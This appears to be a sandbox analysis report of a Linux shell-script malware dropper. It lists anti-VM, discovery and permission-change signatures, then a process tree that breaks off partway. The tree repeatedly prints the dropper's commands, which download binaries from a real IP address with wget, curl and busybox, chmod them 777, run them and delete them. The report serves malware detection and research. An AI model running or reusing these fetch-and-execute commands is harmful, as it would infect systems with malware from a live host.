886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b

Analysis

max time kernel
31s
max time network
32s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/11/2024, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b.sh
Size 10KB
Sample241109-dmrlwayner
SHA256 886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b
MD5 9429ed343b923d08cb76b46b89be9663
SHA1 f8c2b89c19e0acd0f02dfebb1c5df980cf4c4a9f
SHA512 4de13fb437fb8e67bec8d618df3218f9ac65902fee20005a14cce51a85a438f9dcc5613fb31e5010d3769ea703a61a46412c1e7830c48aa1b5ad44594592430d
SSDEEP 192:qfjO1f3bOSOQQQQQMvjppT6dX6dj6dXdydidoD770ZWZZQQQQQMvjpBP6dX6dj63:jfpjjMvjptyXyjytq6oDIW4jjMvjpNyj
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
820	chmod
912	chmod
790	chmod
802	chmod
841	chmod
847	chmod
871	chmod
736	chmod
808	chmod
877	chmod
897	chmod
918	chmod
859	chmod
673	chmod
784	chmod
796	chmod
828	chmod
746	chmod
814	chmod
835	chmod
891	chmod
687	chmod
903	chmod
711	chmod
771	chmod
853	chmod
865	chmod
883	chmod

Executes dropped EXE 28 IoCs

Checks CPU configuration 1 TTPs 28 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 56 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
676	wget
677	curl
817	wget
818	curl
874	wget
894	wget
898	WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
689	rm
822	rm
875	curl
878	iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
895	curl
682	busybox
688	WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
819	busybox
821	iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
896	busybox
899	rm
876	busybox
879	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8	curl
File opened for modification	/tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8	curl
File opened for modification	/tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI	curl
File opened for modification	/tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS	curl
File opened for modification	/tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg	curl
File opened for modification	/tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd	curl
File opened for modification	/tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg	curl
File opened for modification	/tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh	curl
File opened for modification	/tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a	curl
File opened for modification	/tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1	curl
File opened for modification	/tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd	curl
File opened for modification	/tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI	curl
File opened for modification	/tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0	curl
File opened for modification	/tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P	curl
File opened for modification	/tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo	curl
File opened for modification	/tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w	curl
File opened for modification	/tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh	curl
File opened for modification	/tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH	curl
File opened for modification	/tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a	curl
File opened for modification	/tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w	curl
File opened for modification	/tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ	curl
File opened for modification	/tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1	curl
File opened for modification	/tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ	curl
File opened for modification	/tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH	curl
File opened for modification	/tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P	curl
File opened for modification	/tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo	curl
File opened for modification	/tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0	curl
File opened for modification	/tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS	curl

/tmp/886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b.sh
/tmp/886dafcaf0b4e31119dce136d4151ee508ad76528d59479a1b2d72df44ab1c5b.sh
1⤵
PID:639
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:641
- /usr/bin/wget
  wget http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:643
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:661
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:669
- /bin/chmod
  chmod 777 naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - File and Directory Permissions Modification
  PID:673
- /tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  ./naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - Executes dropped EXE
  PID:674
- /bin/rm
  rm naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:675
- /usr/bin/wget
  wget http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:676
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:682
- /bin/chmod
  chmod 777 WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  ./WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:688
- /bin/rm
  rm WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:689
- /usr/bin/wget
  wget http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:691
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:699
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:706
- /bin/chmod
  chmod 777 3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - File and Directory Permissions Modification
  PID:711
- /tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  ./3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - Executes dropped EXE
  PID:712
- /bin/rm
  rm 3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:713
- /usr/bin/wget
  wget http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:731
- /bin/chmod
  chmod 777 52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  ./52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm 52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:738
- /usr/bin/wget
  wget http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:739
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:741
- /bin/chmod
  chmod 777 R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  ./R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:749
- /usr/bin/wget
  wget http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:765
- /bin/chmod
  chmod 777 xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  ./xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - Executes dropped EXE
  PID:773
- /bin/rm
  rm xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:774
- /usr/bin/wget
  wget http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:775
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:783
- /bin/chmod
  chmod 777 gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  ./gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:786
- /usr/bin/wget
  wget http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:787
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:789
- /bin/chmod
  chmod 777 anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  ./anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - Executes dropped EXE
  PID:791
- /bin/rm
  rm anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:792
- /usr/bin/wget
  wget http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:793
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:795
- /bin/chmod
  chmod 777 XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  ./XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - Executes dropped EXE
  PID:797
- /bin/rm
  rm XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:798
- /usr/bin/wget
  wget http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:801
- /bin/chmod
  chmod 777 7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  ./7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm 7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:804
- /usr/bin/wget
  wget http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:807
- /bin/chmod
  chmod 777 a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  ./a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - Executes dropped EXE
  PID:809
- /bin/rm
  rm a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:810
- /usr/bin/wget
  wget http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:813
- /bin/chmod
  chmod 777 L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  ./L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:816
- /usr/bin/wget
  wget http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:817
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:818
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:819
- /bin/chmod
  chmod 777 iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  ./iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:821
- /bin/rm
  rm iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
  2⤵
  - System Network Configuration Discovery
  PID:822
- /usr/bin/wget
  wget http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:827
- /bin/chmod
  chmod 777 m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  ./m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
  2⤵
  PID:830
- /usr/bin/wget
  wget http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:831
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:832
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:833
- /bin/chmod
  chmod 777 xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  ./xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
  2⤵
  PID:837
- /usr/bin/wget
  wget http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:838
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:840
- /bin/chmod
  chmod 777 gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  ./gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
  2⤵
  PID:843
- /usr/bin/wget
  wget http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:846
- /bin/chmod
  chmod 777 anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  ./anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
  2⤵
  PID:849
- /usr/bin/wget
  wget http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:852
- /bin/chmod
  chmod 777 XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  ./XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
  2⤵
  PID:855
- /usr/bin/wget
  wget http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:856
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:858
- /bin/chmod
  chmod 777 7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  ./7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm 7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
  2⤵
  PID:861
- /usr/bin/wget
  wget http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:864
- /bin/chmod
  chmod 777 a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  ./a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
